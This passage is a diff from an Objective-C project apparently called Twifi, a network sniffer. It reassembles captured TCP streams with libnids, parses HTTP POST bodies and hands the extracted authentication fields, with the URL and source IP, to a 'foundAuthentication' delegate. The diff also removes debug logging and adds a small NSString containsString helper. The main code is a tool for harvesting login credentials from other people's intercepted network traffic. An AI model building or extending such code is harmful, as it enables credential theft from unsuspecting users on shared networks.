+                NSString *value = [requestData.postData objectForKey:key];
+                auth[key] = value;
+            }
+        }
+        if ([auth count]) {
+            [self.delegate foundAuthentication:auth onUrl:requestData.url];
+        }
+    }
+}
+
+
 - (void)handleStream:(struct tcp_stream *)a_tcp
 {
     if (a_tcp->nids_state == NIDS_JUST_EST)
         self.sessionData[sessionKey] = [existingData stringByAppendingString:data];
     }
     
-    NSLog(@"NEW DATA NEW DATA");
-//    NSLog(@"data %@", self.sessionData[sessionKey]);
-//    write(2, hlf->data, hlf->count_new);
-
-//    NSLog(@"real length %d actual %zd", hlf->count_new, strlen(hlf->data));
-//    write(2, "\nX\n", 4);
     TWRequestData *requestData = [self parseResponse:self.sessionData[sessionKey]];
     if ([requestData.type isEqualToString:@"POST"] && ![requestData.postData count]) return;
     requestData.sourceIp = a_tcp->addr.saddr;
-    
-    
+    [self handleRequestData:requestData];
 }
 
 
-- (void)handleRequestData:(TWRequestData *)requestData
-{
-    
-}
-
 
 - (TWRequestData *)parseResponse:(NSString *)data
 {
             urlPart = chunks[1];
             first = NO;
         } else if (enteredDataSection) {
-//            NSLog(@"data section %@", line);
             NSArray *params = [line componentsSeparatedByString:@"&"];
             for (NSString *param in params) {
                 NSArray *chunks = [param componentsSeparatedByString:@"="];
             }
             NSArray *chunks = [line componentsSeparatedByString:@":"];
             if ([chunks count] < 2) {
-//                NSLog(@"bad data: %@", chunks);
                 continue;
             }
-//            NSLog(@"found header %@", chunks);
             NSString *key = chunks[0];
             NSString *value = chunks[1];
             value = [value stringByTrimmingCharactersInSet:[NSCharacterSet whitespaceAndNewlineCharacterSet]];

File Twifi/Twifi-Prefix.pch

 #ifdef __OBJC__
     #import <Cocoa/Cocoa.h>
 #endif
+
+
+@interface NSString (JRStringAdditions)
+
+- (BOOL)containsString:(NSString *)string;
+- (BOOL)containsString:(NSString *)string
+               options:(NSStringCompareOptions) options;
+
+@end
+
+@implementation NSString (JRStringAdditions)
+
+- (BOOL)containsString:(NSString *)string
+               options:(NSStringCompareOptions)options {
+    NSRange rng = [self rangeOfString:string options:options];
+    return rng.location != NSNotFound;
+}
+
+- (BOOL)containsString:(NSString *)string {
+    return [self containsString:string options:0];
+}
+
+@end